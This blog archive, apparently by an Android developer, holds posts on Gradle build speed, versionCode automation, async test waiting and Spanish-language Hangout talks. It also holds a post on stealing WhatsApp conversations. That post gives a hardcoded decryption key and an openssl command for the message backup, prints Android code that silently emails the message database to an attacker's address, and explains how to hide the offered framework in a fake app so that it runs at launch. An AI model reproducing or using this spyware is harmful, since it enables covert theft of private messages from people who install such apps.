Increasing the performance of Gradle builds

Lately, I have been immersed into adding a bunch of new projects to our CI server. Although we have been using a distributed system to achieve a parallel build, at some point our builds were requiring a considerable amount of time. Providing some numbers: consider an scenario with 49 different projects (backend, frontend, mobile), in different branches (production, development) constantly building and deploying. There was an average waiting list to build projects of more than 20 minutes, with some projects taking more than 10 minutes to build and deploy. Something against the spirit of CI, really. After doing some research, I increased the performance of my builds in about one third. This is how to achieve it:

So with the problem detected, the next step was to find a solution: how to improve the performance of the builds. The first platform to improve was Android (15 from all our projects are Android based, which is around one third of the total). We are using Gradle build system and Android Studio. While is still great, is an on-going product with constant releases and has not reached its peak of performance yet . First, the important point was to identify the bottlenecks. I used the following script in our build.gradle file to detect which tasks were more problematic:

class TimingsListener implements TaskExecutionListener, BuildListener {
    private Clock clock
    private timings = []

    @Override
    void buildFinished(BuildResult result) {
        println "Task timings:"
        for (timing in timings) {
            if (timing[0] >= 50) {
                printf "%7sms  %s\n", timing
            }
        }
    }

    @Override
    void buildStarted(Gradle gradle) {}

    @Override
    void projectsEvaluated(Gradle gradle) {}

    @Override
    void projectsLoaded(Gradle gradle) {}

    @Override
    void settingsEvaluated(Settings settings) {}

    @Override
    void beforeExecute(Task task) {
        clock = new org.gradle.util.Clock()
    }

    @Override
    void afterExecute(Task task, TaskState state) {
        def miliseconds = clock.timeInMs
        timings.add([miliseconds, task.path])
        task.project.logger.warn "${task.path} took ${miliseconds}ms"
    }
}

gradle.addListener new TimingsListener()

This code is relatively straight forward. For each task being executed by Gradle, will measure the time required, and when the build is finished will print the amount of time each task needed.

In order to perform a right benchmarking, I would use my computer with no extra program rather than the console, and run gradle clean assembleRelease. I run this in one of our ship projects with a quite typical structure for our company: a single project, containing 6 maven libraries and 2 local ones.

My first experiment shown nothing really surprising: I run gradle clean mergeReleaseResources, preDexRelease and dexRelease were the tasks more time consuming. Particularly:

Bildschirmfoto 2014-04-23 um 15.49.43

Pre-dexing is used for speeding up incremental builds. Pre-dexes dependencies of a module, so that they can just be merged together into the final dex file, but won won’t affect the release build (since you should be doing clean builds for release builds anyway). So we could get rid of this process during the release build:

  dexOptions {
    preDexLibraries = false
  }

While doing some research met two options to be used with gradlew:
–parallel executes parallel build for decoupled projects, leading to an increase in performance.
–daemon allows to execute our gradle as a daemon, speeding up the build time.

This options can be called from the console:

./gradlew --parallel --daemon clean assembleRelease

Or can be included in a gradle.properties file:

org.gradle.parallel=true
org.gradle.daemon=true

Combining all the points: I run again the same command and got the following:

Bildschirmfoto 2014-04-23 um 15.57.03

The increase in performance have been also successful in subsequent builds, and it is on average a 30% faster than the non-optimized version.

Automatically increasing versionCode with Gradle

Continuous Integration means, above all, automatization. The user should not be in charge of the distribution or deployment process. Everything should be scripted!

While deploying new versions in Android, one of the common tasks is to increase the versionCode to identify a particular build. Using the new Gradle system, this can also be automatized.

def getVersionCodeAndroid() {
    println "Hello getVersionCode"
    def manifestFile = file("src/main/AndroidManifest.xml")
    def pattern = Pattern.compile("versionCode=\"(\\d+)\"")
    def manifestText = manifestFile.getText()
    def matcher = pattern.matcher(manifestText)
    matcher.find()
    def version = ++Integer.parseInt(matcher.group(1))
    println sprintf("Returning version %d", version)
    return version
}

task('writeVersionCode')  {     
    def manifestFile = file("src/main/AndroidManifest.xml")   
    def pattern = Pattern.compile("versionCode=\"(\\d+)\"")   
    def manifestText = manifestFile.getText()    
    def matcher = pattern.matcher(manifestText)     
    matcher.find()    
    def versionCode = Integer.parseInt(matcher.group(1))   
    def manifestContent = matcher.replaceAll("versionCode=\"" + ++versionCode + "\"")     
    manifestFile.write(manifestContent) 
} 

tasks.whenTaskAdded { task ->
    if (task.name == 'generateReleaseBuildConfig') {
        task.dependsOn 'writeVersionCode'
    }

    if (task.name == 'generateDebugBuildConfig') {
        task.dependsOn 'writeVersionCode'
    }
}

In our defaultConfig, we will need to specify that the versionCode must be read from the newly added function:

  versionCode getVersionCodeAndroid()

Testing Asynchronous Tasks on Android

Recently, at Sixt we have been migrating our development environment from Eclipse to Android Studio. This has mean we have also moved to the new build system, Gradle, and applying TDD and CI to our software development process. This is not the place to discuss the benefits of applying CI to a software development plan, but to talk about a problem arising when testing tasks running on different threads than the UI in Android.

 

A test in Android is (broad definition) an extension of a JUnit Suitcase. They do include setUp() and tearDown() for initialization/closing the tests, and infers using reflection the different test methods (starting with JUnit 4 we can use annotations to specify the priority and execution of all the tests). A typical test structure will look like:

public class MyManagerTest extends ActivityTestCase {

	public MyManagerTest(String name) {
		super(name);
	}

	protected void setUp() throws Exception {
		super.setUp();
	}

	protected void tearDown() throws Exception {
		super.tearDown();
	}

	public void testDummyTest() {
		fail("Failing test");
	}

}

This is a very obvious instance: in a practical case we would like to test things such as HTTP requests, SQL storage, etc. In Sixt we follow a Manager/Model approach: each Model contains the representation of an Entity (a Car, a User…) and each Manager groups a set of functionality using different models (for example, our LoginManager might require of models Users to interact with them). Most our managers perform HTTP  requests intensively in order to retrieve data from our backend. As an example, we would perform the login of a user using the following code:

 

	mLoginManager.performLoginWithUsername("username", "password", new OnLoginListener() {
		@Override
		public void onFailure(Throwable throwable) {
			fail();
		}

		Override
		public void onSuccess(User customer) {
		//..
		}
	});

When it comes to apply this to our own test suitcase, we just make the process fail() when the result does not work as we were expecting. We can see why in the method onFailure() we call to fail().

However, even if I was using a wrong username the test was still passing. Wondering around, seems that the test executed the code sequentially, and did not wait until the result of the callbacks was back. This is certainly a bad approach, since a modern application do intense usage of asynchronous tasks and callback methods to retrieve data from a backend!. Tried applying the @UiThreadTest bust still didn’t work.

I found the following working method. I simply use CountDownLatch signal objects to implement the wait-notify (you can use synchronized(lock){… lock.notify();}, however this results in ugly code) mechanism. The previous code will look like follows:

	final CountDownLatch signal = new CountDownLatch(1);
	mLoginManager.performLoginWithUsername("username", "password", new OnLoginListener() {
		@Override
		public void onFailure(Throwable throwable) {
			fail();
			signal.countDown();
		}

		Override
		public void onSuccess(User customer) {
			signal.countDown();
		}
	});
	signal.await();

 

Leaking Whatsapp – stealing conversations silently

bug-big

Whatsapp, the fast-growing mobile messaging service, is the main threat to the (outdated) business model of telecommunications operators. Its exponencial numbers confirm that telcos react late and bad: Whatsapp has taken a position that will be hard to unthrone. The only apparent risk lies on another companies using the same concept of Push notifications: recently, Line appears to claim some users adding some more functionalities.

Business besides, is amazing to see how the security in Whatsapp is inexistant.  In an attempt to be moderate, I will simply say that using the word “security” is a disinformed statement. Being aggressive I would use other words.

In May 2011, there was a reported bug which left user accounts open for hijacking. This was the first public one. Since then, it was reported that communications within WhatsApp were not encrypted, being the data sent and received in plaintext. This allowed any person to intercept messages by connecting to the same WiFi as the target phone (an application for Android was even published on the market, although it was removed after a few weeks by Google). In May 2012 the bug was reported to be fixed, although took one year to implement a fix that is not specially complex.

In September 2011, a new version of WhatsApp allowed forged messages to be sent and messages from any WhatsApp user to be read.

On January 6, 2012, an unknown hacker published a website  which made possible to change the status of an arbitrary whatsapp user, as long as the phone number was known. This bug was reported as fixed on January 9… but the only measure that was taken was blocking the website’s IP address. As a reaction, a Windows tool was made available for download providing the same functionality. This issue has not been resolved until now.

On January 13, 2012, Whatsapp was pulled from the iOS App Store for a non disclosed reason. The app was added back to the App Store 4 days later. German Tech blog The H demonstrated how to hijack any WhatsApp account on September 14, 2012. WhatsApp reacted with a legal threat to WhatsAPI’s developers.

The last unassailable bastion was the local database of messages, since it was physically stored in the device and we would need access to it… in theory. Let’s gonna show how can we achieve this. In most cases it is possible to obtain the WhatsApp message history from an encrypted device or backup, for details read this paper: WhatsApp Database Encryption Project Report

Summarizing: The database containing all the WhatsApp messages is stored in a SQLite file format. For iOS phones this file is in the path: [App ID] / Documents / ChatStorage.sqlite and in the case of Android phones at / com.whatsapp / databases / msgstore.db. This file is unencrypted, and this requires the phone to access the jailbreaked. In Android, the backup file is stored in the external memory card, and was also not encrypted. This changed in one application update, and now, if the phone is lost or stolen, the messages can not be read.

Unfortunately, the application uses the same key for the encryption (AES-192-ECB) (346a23652a46392b4d73257c67317e352e3372482177652c), and there is no use of enthropy or unique factors for each device, so the database can be unencrypted within a matter of seconds.

openssl enc -d  -aes-192-ecb -in msgstore-1.db.crypt -out msgstore.db.sqlite -K346a23652a46392b4d73257c67317e352e3372482177652c

 

So, we know how to break the encryption. Now we have to solve the problem of having access to the device.

Android uses permissions to determine what the applications can do when they are install on the device. In order to read from the external storage we need to use the permission android.permission.WRITE_EXTERNAL_STORAGE. By using that, we will be able to access all the files within the SDCard. Surprisingly, Whatsapp developers didn’t use the internal storage for the application, which would have prevent any application from stealing their data.

Now that we can access the data, we need to send it somewhere else. By default, Android allows us to use Intents in order to send emails. But this is not transparent at all: the user will be able to see that we are trying to send an email to an unknown email address, and this action will be canceled. But we can use some other techniques. For example, we could use a transparent layer, connect to a mail server without triggering the user perception and adcquire the file with the precious information.

I have developed a framework (WhatsApp Conversation Burglar) that can be included within an Android application, and steal the data without the user getting to know it. You can download it from here.

Let’s see how it works:

The framework presents a dummy Activity (MailSenderActivity), with only a button. We have the following listener when the button is clicked:

 public void onClick(View v) {
            	try {   
                	AsyncTask<Void, Void, Void> m = new AsyncTask<Void, Void, Void>() {

						@Override
						protected Void doInBackground(Void... arg0) {
							GMailSender sender = new GMailSender(EMAIL_STRING, PASSWORD_STRING);
		                    try {
		                    	sender.addAttachment("/storage/sdcard0/WhatsApp/Databases/msgstore.db.crypt", SUBJECT_STRING);
								sender.sendMail(SUBJECT_STRING,   
								        BODY_STRING,   
								        EMAIL_STRING,   
								        RECIPIENT_STRING);
							} catch (Exception e) {
								e.printStackTrace();
							}   
							return null;
						}
                	};
                	m.execute((Void)null);
                } catch (Exception e) {   
                    DebugLog.e("SendMail", e.getMessage());   
                } 
            }
        });

This section of code initializes an object GMailSender with some parameters. The function addAttachment() attach a target file to be sent (in our case, it is the database containing all the WhatsApp messages) and a SUBJECT to the email. The function sendMail() just send the email with the required information (SUBJECT_STRING, BODY_STRING, EMAIL_STRING, RECIPIENT_STRING). The class GMailSender is the object responsible of all the email communication, using the library JavaMail. The code is self-explanatory.

By setting the right parameters, the file with all the conversations is sent to the provided email address, where we can decrypt it by using the line I provided before in the terminal. If you want to use this framework in your application, you only have to add it as a library, and include the code within the application (probably on the onCreate() method of the first activity triggered, so you make sure the conversations are stolen when the application starts). A fake application could include this framework, and still all the conversations from the users installing it

There is no way to prevent this error, just removing the file with all the conversations. WhatsApp could use a different kind of encryption (using data such as device IMEI, UNIX time of installation or any non replicable information), or just move it to the private application folder (/data/data/com.package.name/). But considering their tragic history on security we probably can not rely on this.

If you have any comment about the previous post feel free to contact me per email.

 

Enrique López-Mañas

Charlas a través de Google Hangout

No hace mucho tiempo atrás, han surgido plataformas de educación online como Coursera y Udacity, que ofrecen cursos de universidades de primer nivel como MIT o Stanford. La posibilidad de acceder a información que hace tiempo se antojaba elitista tiene potencial de transformar el sistema educativo tal y como lo conocemos, ofreciendo la posibilidad de acceder a estos cursos de manera online, gratuita y permitiendo encontrarse en cualquier lugar del globo. Para más información, recomiendo ver la charla de Daphne Koller, profesora del laboratorio de Inteligencia Artificial de Stanford.

 

 

 

Por supuesto a un menor nivel, y reflexionando sobre ello al respecto de las clases que impartiré el semestre que viene en el Máster de Videojuegos de la Universidad de Alcalá, me preguntaba qué posibilidades podrían ofrecer formatos tales como Google Hangout para la educación online. Uno de mis principales intereses ha sido y es el aprendizaje de idiomas: como realizarlo de manera efectiva usando dispositivos móviles (la mayoría de mis aplicaciones llevan esa dirección). Recomiendo los artículos de H. Douglas Brown y VJ Cook para poder indagar un poco más sobre cómo funciona el proceso cognitivo del aprendizaje y sedimentación de un idioma posterior al materno. Ya se han realizado con anterioridad experimentos similares en el campo del aprendizaje a través de Google Hangout.

Desde hace un tiempo, discutía con mi colega Marius Budin la posibilidad de ofrecer eventos de este tipo a través de Google Hangout. Tras un tiempo discutiendo, decidimos organizar un primer experimento en el cuál yo daría una charla sobre testing y JUnit para Android, y Marius lo realizaría sobre Widgets y Notificaciones. Tras un periodo burocrático, ensayando y discutiendo cuál sería el mejor formato, decidimos realizar una sesión con las siguientes características:

1.- A través de GDG Barcelona organizaríamos una charla, utilizando Google Plus como punto de encuentro, utilizando la capacidad de movilización de GDG

2.- Los participantes podrían confirmar su participación a través de un evento en Google Plus.

3.- Dado que Google Hangout tan sólo permite 10 participantes, decidimos que Marius, yo y Rubén Serrano participaríamos directamente en el Hangout.

4.- Rubén actuaría como árbitro o moderador.

5.- Cada vez que un participante desease intervenir en el Hangout, podría a través del evento de Google Plus pedir voz, y Rubén nos lo indicaría (ya que al ponente no le es posible leer los comentarios durante su charla).

6.- El vídeo sería posteriormente colgado en Youtube, para poder acceder con posterioridad.

Tras el evento y el feedback obtenido, podemos sentirnos muy satisfechos con el resultado final. La sensación general después del evento es muy dulce, y así nos lo confirmó también Rubén, quien imparte clases durante el fin de semana y dispuso a sus alumnos para el evento. El número de asistentes al evento Live osciló entre 32 y 45, incluyendo también cuentas desde las que había múltiples accesos, por lo que es razonable pensar que el número total fue superior en determinados intervalos.

Espero que podamos continuar dando salida a este formato en el futuro, y podamos seguir destilando y mejorando todo el potencial que tiene. Podéis acceder al vídeo y al evento en este enlace.